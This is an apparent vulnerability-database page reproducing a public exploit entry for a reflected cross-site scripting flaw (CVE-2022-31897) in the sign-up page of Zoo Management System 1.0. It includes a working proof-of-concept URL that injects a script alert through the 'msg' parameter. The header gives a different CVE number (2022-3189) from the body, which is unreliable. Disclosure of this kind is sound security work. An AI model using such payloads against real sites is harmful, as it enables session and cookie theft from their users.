Zoo Management System 1.0 Cross Site Scripting

🗓️ 22 Jun 2022 00:00:00Reported by Angelo Pio AmiranteType

packetstorm🔗 packetstormsecurity.com👁 403 Views

Zoo Management System 1.0 Reflected Cross-Site-Scripting (XSS) CVE-2022-3189

Reporter	Title	Published	Views	Family All 12
GithubExploit	Exploit for Cross-site Scripting in Phpgurukul Zoo_Management_System	16 Jul 202210:55	–	githubexploit
ATTACKERKB	CVE-2022-31897	29 Jun 202201:15	–	attackerkb
CNNVD	Zoo Management System 跨站脚本漏洞	22 Jun 202200:00	–	cnnvd
CNVD	Zoo Management System Cross-Site Scripting Vulnerability	24 Jun 202200:00	–	cnvd
CVE	CVE-2022-31897	29 Jun 202200:41	–	cve
Cvelist	CVE-2022-31897	29 Jun 202200:41	–	cvelist
EUVD	EUVD-2022-53223	3 Oct 202520:07	–	euvd
NVD	CVE-2022-31897	29 Jun 202201:15	–	nvd
OSV	CVE-2022-31897	29 Jun 202201:15	–	osv
Prion	Cross site scripting	29 Jun 202201:15	–	prion

`# Exploit Title: Zoo Management System 1.0 - Reflected Cross-Site-Scripting (XSS)  
# Date: 06/22/2022  
# Exploit Author: Angelo Pio Amirante  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: Server: XAMPP on Windows 10   
# CVE: CVE-2022-31897  
  
# Description:  
Zoo Management System 1.0 is vulnerable to reflected cross-site scripting on the sign-up page. The "msg" parameter in 'http://localhost/public_html/register_visitor?msg=' is vulnerable.  
  
# Impact:  
An attacker could steal cookies with a crafted URL sent to the victims.  
  
# Exploit:  
  
Visit the following page:   
  
1) http://localhost/public_html/register_visitor?msg=<script>alert(window.navigator.userAgent)</script>  
  
2) Alert pop up is fired!  
  
  
# Image poc:  
  
https://ibb.co/8XKDgJX -> Registration page  
https://ibb.co/mTTmTmy -> XSS  
  
  
`

22 Jun 2022 00:00Current

EPSS0.01399